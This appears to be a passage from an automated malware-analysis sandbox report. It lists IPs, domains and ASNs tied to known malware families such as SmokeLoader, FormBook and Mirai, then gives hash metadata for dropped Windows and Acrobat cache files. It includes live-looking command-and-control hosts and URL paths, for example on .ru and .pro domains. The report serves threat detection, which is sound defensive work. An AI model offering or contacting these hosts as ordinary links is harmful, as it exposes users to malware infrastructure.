Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.70.26.37	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	connecticutproperty.ru/
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.mrpokrovskii.pro/2pji/
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.mrpokrovskii.pro/i6b4/
	Cmbwwkcevcglau.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xn--d1acnfnmta.xn--p1ai/pn4e/?PVWk=f3HgyfoZyN&ya3hZ6=Axqd9uYmYp7orgQRubN12KIz0ETn9asgfk1mJK/Z6DbIFwnZ/4JiG197Yvj4xywBazNpNhV4fsXABdsflsvXc8+TStbsRm/06Q==
	Uevsumfxudvvsf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xn--d1acnfnmta.xn--p1ai/pn4e/
	SecuriteInfo.com.Variant.Babar.161191.3845.26747.exe	Get hash	malicious	FormBook	Browse	www.art-world.gallery/d82s/?10f=JpK121UpvTpc63rRp+gDJCCdgOsyWOtnd1+5GwkwMtQXrqOXZW8giVHgVA/EVEtRUGaZBcKLcc+iDZn9KexNjAxwg4PMjxbaWQ==&p5TzJe=IDSTB-Oy
	OUTSTANDING_PAYMENT.exe	Get hash	malicious	FormBook	Browse	www.landlotto.ru/0oqq/?ICHyvj5=zVtcFUb2erpe1riHNV8x4uTJHdjXeMKlBrPOkTLBlxKebXbCPRW4F79HIT/4WhPpl+5XC4kkcR4ywvq/sd7+lksDMuqQ2YrnfA==&qt9TW=60_ljPJoqo6d2
	031002200411_85416475.vbs	Get hash	malicious	FormBook	Browse	www.landlotto.ru/8bfi/?zWlew1c=A2R81uzLvS0WmEZs04/BP8N0Gjc/1cZcLvuM3RKwCSd5NfyML6VBFcfDSbjtAw22etViIiX2xpSo0klfeHLPYGaSbH+bfsHC3w==&OgJSC=ZGqA1YcB
	DHL.exe	Get hash	malicious	FormBook	Browse	www.landlotto.ru/0oqq/?Ruu6XZ=zVtcFUb2erpe1riHNV8x4uTJHdjXeMKlBrPOkTLBlxKebXbCPRW4F79HIT/4WhPpl+5XC4kkcR4ywvq/sd7/rH4CMublm7Haah6y5P+nmPrL&2bZBp4=SbhpRad-bNU
94.156.177.51	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	ToYwLfhi9B.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	199.232.210.172
	17345062850621022e2a034193497843f70f72ad0e2a6d5b0e23bb6cd0de4c41fac1759029833.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.214.172
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	199.232.210.172
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	199.232.214.172
	Credit Card Authorization Form.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Configurator.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	hades.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://pdf-ezy.com/pdf-ezy.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse	217.20.58.100
	http://ngfreemessage-verifying.freewebhostmost.com/	Get hash	malicious	HTMLPhisher	Browse	217.20.58.99
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	212.229.88.13
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	217.20.56.100
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	217.20.58.99
	BwQ1ZjHbt3.bat	Get hash	malicious	Unknown	Browse	217.20.57.23
	payload_1.hta	Get hash	malicious	RedLine	Browse	217.20.58.100
	69633f.msi	Get hash	malicious	Vidar	Browse	217.20.58.98
	msimg32.dll	Get hash	malicious	RHADAMANTHYS	Browse	217.20.58.100
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	217.20.58.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NET1-ASBG	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	94.156.177.51
	a-r.m-5.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	s-h.4-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	i-5.8-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	a-r.m-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	x-8.6-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	p-p.c-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
RU-CENTERRU	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	109.70.26.37
	TRC.m68k.elf	Get hash	malicious	Mirai	Browse	193.232.244.238
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	109.70.26.37
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.85.61.76
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	Quotation.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	payments.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	Delivery_Notification_00000207899.doc.js	Get hash	malicious	Unknown	Browse	195.208.1.162
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	109.70.26.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Roaming\sarbjfc	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Roaming\putty.exe	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263234356479392
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0j:9JZj5MiKNnNhoxui
MD5:	5C7F1B72EA94FF02DA581BE17404F797
SHA1:	4B05EEAEF67759868DB880638BDDFA4C385C7118
SHA-256:	46CC792ED2DE15694567B335E73331ADA65CF30E2F2B3FC056DF0916617139E4
SHA-512:	D615A62E7B27B584DE17D7E2FABC2938AF1329AE4DFDEEDCA932C323CB3CBB3AE8BAD43FD5188A0F31F8BEA9F28C6FE868EF005B33B41CF080FE09D8B4042B37
Malicious:	false
Reputation:	low
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x869ce82f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556087471110585
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:dazaSvGJzYj2UlmOlOL
MD5:	BB0D1F44D1E649C36950FBDF2DC56A1C
SHA1:	CF78A976C2DB77E5F49CF96A1635727D7918A4C5
SHA-256:	771D3CFCB881E57436D83904AE68665708BFC436E733DECC8ABB43B7CAE72A24
SHA-512:	EDD35C3808AA36128601B02FA769E0D6F648E9EC7D55BD6E324E482036E485EB9FC7B97D1B9A73D80EFF859A12FFD0CFDCCD574E3EE530858F569E9FAA5F3573
Malicious:	false
Preview:	.../... .......7.......X\...;...{......................0.e......!...{?.0....\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................^..1....\|......................0....\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07967290506449429
Encrypted:	false
SSDEEP:	3:UbWl/KYei+neNaAPaU1lsY/lluxmO+l/SNxOf:Ubi/KzyNDPaUEogmOH
MD5:	9DA6CDA06C0F5C2ED64681898991AB1A
SHA1:	30488252BE3973DF5A6B48B60067F40AA33BBA3E
SHA-256:	CD5B0F8CF57BCB3A7CB7ED9C3D76B86D2E26B4B1A5BD81616CF31B4D7F8C213E
SHA-512:	7CAAA76CE872D02E8A975D40EC542BF67F92CB87BD706D76CBB5D1D00CE3ECA408532B83F3F81BF98FE07FE7020211FD1CE4D0C4BED0A23862AEF31122DCA387
Malicious:	false
Preview:	..f......................................;...{..0....\|...!...{?..........!...{?..!...{?..g...!...{?.....................0....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.17424030585563
Encrypted:	false
SSDEEP:	6:7BIEHQ+q2PN72nKuAl9OmbnIFUt8OBIVpdWZmw+OBIVpQVkwON72nKuAl9OmbjLJ:76Ew+vVaHAahFUt8O64/+O6IV5OaHAae
MD5:	C982E632C20FD7FA937CBE849950A87C
SHA1:	B5DC52A5E193EE56C65BC77C8F75F0EBFC23964A
SHA-256:	4E01215512BEE141560DE9F494F1F898BA7634A399158EA1269D7F0262D4A916
SHA-512:	FCFAE9BBD0B0324E0CD17131985A7C36A66F93FA0E906C935DC2E9544F9CF3EB494D5174288869A1809A92319B1D9A010B917ED255D578CB5B819ECEC2BAAF16
Malicious:	false
Preview:	2024/12/18-03:23:48.658 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/18-03:23:48.660 1c0c Recovering log #3.2024/12/18-03:23:48.660 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.17424030585563
Encrypted:	false
SSDEEP:	6:7BIEHQ+q2PN72nKuAl9OmbnIFUt8OBIVpdWZmw+OBIVpQVkwON72nKuAl9OmbjLJ:76Ew+vVaHAahFUt8O64/+O6IV5OaHAae
MD5:	C982E632C20FD7FA937CBE849950A87C
SHA1:	B5DC52A5E193EE56C65BC77C8F75F0EBFC23964A
SHA-256:	4E01215512BEE141560DE9F494F1F898BA7634A399158EA1269D7F0262D4A916
SHA-512:	FCFAE9BBD0B0324E0CD17131985A7C36A66F93FA0E906C935DC2E9544F9CF3EB494D5174288869A1809A92319B1D9A010B917ED255D578CB5B819ECEC2BAAF16
Malicious:	false
Preview:	2024/12/18-03:23:48.658 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/18-03:23:48.660 1c0c Recovering log #3.2024/12/18-03:23:48.660 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.146145225054295
Encrypted:	false
SSDEEP:	6:7BI+dv34q2PN72nKuAl9Ombzo2jMGIFUt8OBIsF3JZmw+OBIsF3DkwON72nKuAlx:76+VIvVaHAa8uFUt8O6kZ/+O6kz5OaHA
MD5:	81931FBAD6198CBDD629AD621552A9C3
SHA1:	61F50C2567D951AE010CCCF4642A2B49BF3549EF
SHA-256:	931B84669A0864B7896851993288FD846F35D97E9822262DE6341316057D45C4
SHA-512:	032DED46D8526F346B53EF0B74A9D0E34D9FDF2F69B91A74C0C9D7223DD4AF170C8827B369ABAB80FF02AE028094F9CCEB84B4D96AD2B5496816F105F38978A2
Malicious:	false
Preview:	2024/12/18-03:23:48.740 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/18-03:23:48.742 1c80 Recovering log #3.2024/12/18-03:23:48.742 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.146145225054295
Encrypted:	false
SSDEEP:	6:7BI+dv34q2PN72nKuAl9Ombzo2jMGIFUt8OBIsF3JZmw+OBIsF3DkwON72nKuAlx:76+VIvVaHAa8uFUt8O6kZ/+O6kz5OaHA
MD5:	81931FBAD6198CBDD629AD621552A9C3
SHA1:	61F50C2567D951AE010CCCF4642A2B49BF3549EF
SHA-256:	931B84669A0864B7896851993288FD846F35D97E9822262DE6341316057D45C4
SHA-512:	032DED46D8526F346B53EF0B74A9D0E34D9FDF2F69B91A74C0C9D7223DD4AF170C8827B369ABAB80FF02AE028094F9CCEB84B4D96AD2B5496816F105F38978A2
Malicious:	false
Preview:	2024/12/18-03:23:48.740 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/18-03:23:48.742 1c80 Recovering log #3.2024/12/18-03:23:48.742 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\084d5e83-4d64-4394-9177-23848703bbb4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972993377953588
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/9kWsBdOg2HtAcaq3QYiubcP7E4TX:Y2sRdsECdMHtr3QYhbA7n7
MD5:	FD3BAEFA43F184E50164CF16DC41FCB6
SHA1:	B558699AEB7121D92F4E7D399955B8D438B66CF6
SHA-256:	158AC74FA2BA46FB1F1974CE7A797360574DB1F17CF355DBA54B0F69043E8BC4
SHA-512:	7C0973A42A3A3E587A6E2895AF6A61392644788DA0CF9C0F679E3834A2CA6E23798CDF465FC0D5C35EAFAF293331D1BE06E977DF306188798D199E08FCC89D9C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379070237587320","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":642367},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2f55c57c-6d75-4436-b558-60728ae29058.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF692f4e.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252331547786335
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7YCSyZ:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhF
MD5:	D5022AD8AC8FF8B029910692A4AED55C
SHA1:	CF6E3D3C4854576EABD07ADD5742D2D416BBF6A9
SHA-256:	4731922A3484BB35777220AD61464DE722F02928EA7DBAC5F57E69D8504836D3
SHA-512:	28D951FDAD83BD2CD70820540C4312C72DE4D4DB1A27C038C4F1929AF8759C30CEDBF56244C2BF8E18139FC581DD49CFB4C230457C3B453F3D284B58B5D80062
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.15224068455479
Encrypted:	false
SSDEEP:	6:7BIfv34q2PN72nKuAl9OmbzNMxIFUt8OBI+JZmw+OBI+DkwON72nKuAl9OmbzNMT:76IvVaHAa8jFUt8O64/+O6g5OaHAa84J
MD5:	2616E60D89E9175091CC0FA46F517B25
SHA1:	D5E256B071F5569E2892395A56D69B452F68E425
SHA-256:	2E31DFA59DD8AB3B8EC66FD1CC62C26E5483839F02DE65668F464553ABFE5843
SHA-512:	BF1A5AFE65DFB330DF5A0CD2ABC01C01321790681E56A545612BB63E9CF639C73BB2F3D0D15FDD276C35CB066F128641AE91BAD3013B7B0E88BFACD87BE6ED09
Malicious:	false
Preview:	2024/12/18-03:23:48.907 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/18-03:23:48.908 1c80 Recovering log #3.2024/12/18-03:23:48.908 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.15224068455479
Encrypted:	false
SSDEEP:	6:7BIfv34q2PN72nKuAl9OmbzNMxIFUt8OBI+JZmw+OBI+DkwON72nKuAl9OmbzNMT:76IvVaHAa8jFUt8O64/+O6g5OaHAa84J
MD5:	2616E60D89E9175091CC0FA46F517B25
SHA1:	D5E256B071F5569E2892395A56D69B452F68E425
SHA-256:	2E31DFA59DD8AB3B8EC66FD1CC62C26E5483839F02DE65668F464553ABFE5843
SHA-512:	BF1A5AFE65DFB330DF5A0CD2ABC01C01321790681E56A545612BB63E9CF639C73BB2F3D0D15FDD276C35CB066F128641AE91BAD3013B7B0E88BFACD87BE6ED09
Malicious:	false
Preview:	2024/12/18-03:23:48.907 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/18-03:23:48.908 1c80 Recovering log #3.2024/12/18-03:23:48.908 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241218082354Z-235.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.4692350506906018
Encrypted:	false
SSDEEP:	192:iCtQBe+8/WCsiqvmHVKKsBFykial3mSuhr:ZtQCdbrHVpqFykial2Su1
MD5:	845A808FD0FB7CDC91B1F0EFC1025D66
SHA1:	D44C0DBAEE251295900B63A242CC43E01059C92B
SHA-256:	32205CE874BD667B3F76CF4A6AE4D14581E7248E6B56A21E8D29487EFA2B8F4E
SHA-512:	90494605677C636C979D3B1891F2E0556D7E046F0F368E16C8B05AF8A50525BDE2F63726C1FE3ABF2BB9CE84010E0EBC8C54AD76394B134C2B900F53405FB6B0
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444727561865379
Encrypted:	false
SSDEEP:	384:ye6ci5ttiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mGs3OazzU89UTTgUL
MD5:	33DEBD9CF94A8CBE17DFE91709EB6370
SHA1:	FEC761835AB43CE9A5D1E3832C16E4DA99688E47
SHA-256:	F01EC02B86682F2C35042629AF058840064959988BD9F06414B8790C4B6AE938
SHA-512:	B25624CD37A4A28FEB3A500F2B465F2469EF91405E17961DA2F9A0FF69E0EE79BCCCAF63DE7819E16ECE7AF922D74B656434F24A3790F156CA482B09706F94C1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.767157605588859
Encrypted:	false
SSDEEP:	48:7MgJioyVmioy8oy1C7oy16oy1EKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:77JumMrXjBiWb9IVXEBodRBkb
MD5:	527EE227F9BA2072BCF12C224132DF58
SHA1:	3D656EFC717F1ADE74F42ADC7D15F467DF9C3995
SHA-256:	98C0DA1B20E3D17A513402A8130842C19439A55BFD2AF077B6798356131C3E9E
SHA-512:	DE204F79A6FA21966CA2A3425E8DAF807FDE5E8C3DB4AF26C57169FBF2866219F609C0F81ADA04C3B9D558AA19572EDFA6C15A0BBD3C19A37A769763DD94668D
Malicious:	false
Preview:	.... .c.......q................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

